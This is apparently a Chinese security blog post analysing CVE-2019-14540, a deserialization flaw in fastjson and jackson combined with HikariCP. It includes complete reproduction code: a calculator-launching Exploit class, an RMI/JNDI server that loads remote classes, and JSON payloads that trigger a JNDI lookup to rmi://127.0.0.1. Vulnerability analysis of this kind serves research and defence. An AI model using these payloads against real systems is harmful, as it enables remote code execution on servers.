CVE-2019-14540 远程代码执行漏洞分析


fastjson入门

下载fastjson最新版jar包下载,Idea 新建项目->选择jdk1.7—>选择File > project structure > Modules > dependencies > + JARS or directories ->加载下载的组件
-w1464

写一个User类,接着使用fastjson解析一段json数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package test;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.alibaba.fastjson.JSONObject;

public class User {
private int age;
private String name;
public int getAge() {
System.out.println("getAge方法被自动调用!");
return age;
}
public void setAge(int age) {
System.out.println("setAge方法被自动调用!");
this.age = age;
}
public String getName() {
System.out.println("getName方法被自动调用!");
return name;
}
public void setName(String name) {
System.out.println("setName方法被自动调用!");
this.name = name;
}
public static void main(String[] args) {
//使用@type指定该JSON字符串应该还原成何种类型的对象
String userInfo = "{\"@type\":\"test.User\",\"name\":\"passer6y\", \"age\":18}";
//开启setAutoTypeSupport支持autoType
ParserConfig.global.setAutoTypeSupport(true);
//反序列化成User对象
JSONObject user = JSON.parseObject(userInfo);
//User user = (User) JSON.parse(userInfo); 只会调用setXX方法
//System.out.println(user.getName());
}
}

-w1230

在使用JSON.parseObject解析json时,代码中的setXXgetXX方法自动调用,如果函数中存在一些敏感操作,则可能导致漏洞产生。

JSON.parse只会调用setXX方法,不会自动调用getXX

另外,将json中的age元素删除后,使用JSON.parseObject,仍然会调用getAge方法。
-w1155

也就是说parseObject调用全部属性的getXX方法,和设置属性的setXX方法

漏洞复现

分析10分钟,复现3小时,环境无限采坑…(maven真香

RMI服务端搭建

这里使用了RMI动态加载远程class文件,参考笔记:深入理解RMI&JNDI

使用javac将下面代码编译成class文件,放到web服务器中,这里使用nginx(https://127.0.0.1/Exploit.class)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class Exploit {
public Exploit() {
try {
if (System.getProperty("os.name").toLowerCase().startsWith("win")) {
Runtime.getRuntime().exec("calc.exe");
} else if (System.getProperty("os.name").toLowerCase().startsWith("mac")) {
Runtime.getRuntime().exec("open /Applications/Calculator.app");
} else {
System.out.println("No calc for you!");
}
} catch (Exception e) {
e.printStackTrace();
}
}
}

再起一个RMI服务端,动态加载远程class文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.Reference;
import com.sun.jndi.rmi.registry.ReferenceWrapper;

public class server {
public static void main(String[] args) {
try {
//创建RMI Registry,默认监听1099端口
Registry registry = LocateRegistry.createRegistry(1099);
String remote_class = "https://127.0.0.1/";
//Reference对象代表存在于JNDI以外的对象的引用
Reference reference = new Reference("Exploit", "Exploit", remote_class);
ReferenceWrapper re = new ReferenceWrapper(reference);
//把Reference对象绑定到Registry,客户端可以通过在Registry查找Exploit获取到re对象
registry.bind("Exploit",re);
System.out.println("RMI服务已经启动....");
} catch (Exception e) {
e.printStackTrace();
}
}
}

漏洞环境搭建&复现

  • jdk版本:jdk1.8.0_73
  • jackson版本:2.10.0
  • HikariCP版本:3.3.1
  • fastjson版本:1.2.53
    idea创建maven项目,在pom.xml添加依赖:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
     <dependencies>
    <!-- https://mvnrepository.com/artifact/com.fasterxml.jackson.core/jackson-databind -->
    <dependency>
    <groupId>com.fasterxml.jackson.core</groupId>
    <artifactId>jackson-databind</artifactId>
    <version>2.10.0.pr1</version>
    </dependency>
    <!-- https://mvnrepository.com/artifact/com.zaxxer/HikariCP -->
    <dependency>
    <groupId>com.zaxxer</groupId>
    <artifactId>HikariCP</artifactId>
    <version>3.3.1</version>
    </dependency>
    <!-- https://mvnrepository.com/artifact/com.alibaba/fastjson -->
    <dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.53</version>
    </dependencies>

jackson poc:

1
2
3
4
5
6
7
8
9
10
import com.fasterxml.jackson.databind.ObjectMapper;

public class test {
public static void main(String[] args) throws Exception {
String json = "[\"com.zaxxer.hikari.HikariConfig\",{\"metricRegistry\":\"rmi://127.0.0.1:1099/Exploit\"}]";
ObjectMapper objectMapper = new ObjectMapper();
objectMapper.enableDefaultTyping();
objectMapper.readValue(json,Object.class);
}
}

-w1486

fastjson poc:

1
2
3
4
5
6
7
8
9
10
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class fastjsonEXP {

public static void main(String[] args){
ParserConfig.global.setAutoTypeSupport(true);
JSON.parseObject("{\"@type\":\"com.zaxxer.hikari.HikariConfig\",\"metricRegistry\":\"rmi://127.0.0.1:1099/Exploit\"}");
}
}

-w1352

漏洞分析

从上文中fastjson入门部分我们知道,在解析json数据的时候会自动调用setXX方法,在HikariCP这个组件中,HikariConfig.class中可以看到setMetricRegistry方法调用了getObjectOrPerformJndiLookup方法:
-w1487
跟进其中,调用了InitialContext.lookup(object)
-w1130
很明显的jndi Reference注入。

所以我们在构造poc的时候,利用fastjson的@type加载该对象com.zaxxer.hikari.HikariConfig,使用metricRegistry属性,去触发setMetricRegistry方法,最终使之加载我们恶意的RMI服务程序。

1
{\"@type\":\"com.zaxxer.hikari.HikariConfig\",\"metricRegistry\":\"rmi://127.0.0.1:1099/Exploit\"}

同样的,在jackson中也有这样的问题:

1
[\"com.zaxxer.hikari.HikariConfig\",{\"metricRegistry\":\"rmi://127.0.0.1:1099/Exploit\"}]

最后

通过上面的分析,我们也可以发现其实这是多组件组合导致的远程代码执行,需要环境中使用了fastjson或者jackson库,同时还使用了第三方组件HikariCP导致的,而官方的修复也只是将该扩展添加进了黑名单(fastjson-blacklistjackson修复commit)。

参考文章: